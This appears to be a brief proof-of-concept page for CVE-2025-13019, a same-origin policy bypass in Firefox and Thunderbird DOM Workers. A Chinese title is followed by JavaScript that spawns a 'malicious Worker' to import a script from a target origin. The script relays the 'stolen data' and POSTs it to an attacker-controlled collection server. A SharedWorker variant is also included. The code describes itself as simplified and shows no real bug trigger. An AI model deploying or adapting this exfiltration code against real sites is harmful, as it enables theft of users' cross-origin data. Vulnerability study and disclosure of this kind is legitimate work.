CVE-2025-13019: Firefox与Thunderbird DOM Workers同源策略绕过漏洞

// CVE-2025-13019 PoC - DOM Workers Same-Origin Policy Bypass // This PoC demonstrates the concept of bypassing SOP via Workers // Note: This is a simplified demonstration, actual exploitation requires specific conditions const TARGET_ORIGIN = 'https://target-site.example.com'; // Create a malicious Worker const maliciousWorkerCode = ` // Attempt to access cross-origin resource self.importScripts('${TARGET_ORIGIN}/sensitive-data.js'); // If SOP bypass works, we can access the data self.onmessage = function(e) { // Send stolen data back to attacker self.postMessage({ action: 'exfiltrate', data: typeof sensitiveData !== 'undefined' ? sensitiveData : 'Access failed' }); }; `; const blob = new Blob([maliciousWorkerCode], { type: 'application/javascript' }); const workerUrl = URL.createObjectURL(blob); // Create the worker const worker = new Worker(workerUrl); // Listen for stolen data worker.onmessage = function(e) { if (e.data.action === 'exfiltrate') { console.log('Stolen data:', e.data.data); // Send to attacker server fetch('https://attacker-controlled-server.com/collect', { method: 'POST', body: JSON.stringify(e.data.data) }); } }; // Trigger the exploit worker.postMessage({ action: 'start' }); // Alternative method using SharedWorker function exploitSharedWorker() { const sharedWorker = new SharedWorker(workerUrl); sharedWorker.port.start(); sharedWorker.port.postMessage({ target: TARGET_ORIGIN }); } // Cleanup setTimeout(() => { worker.terminate(); URL.revokeObjectURL(workerUrl); }, 5000);
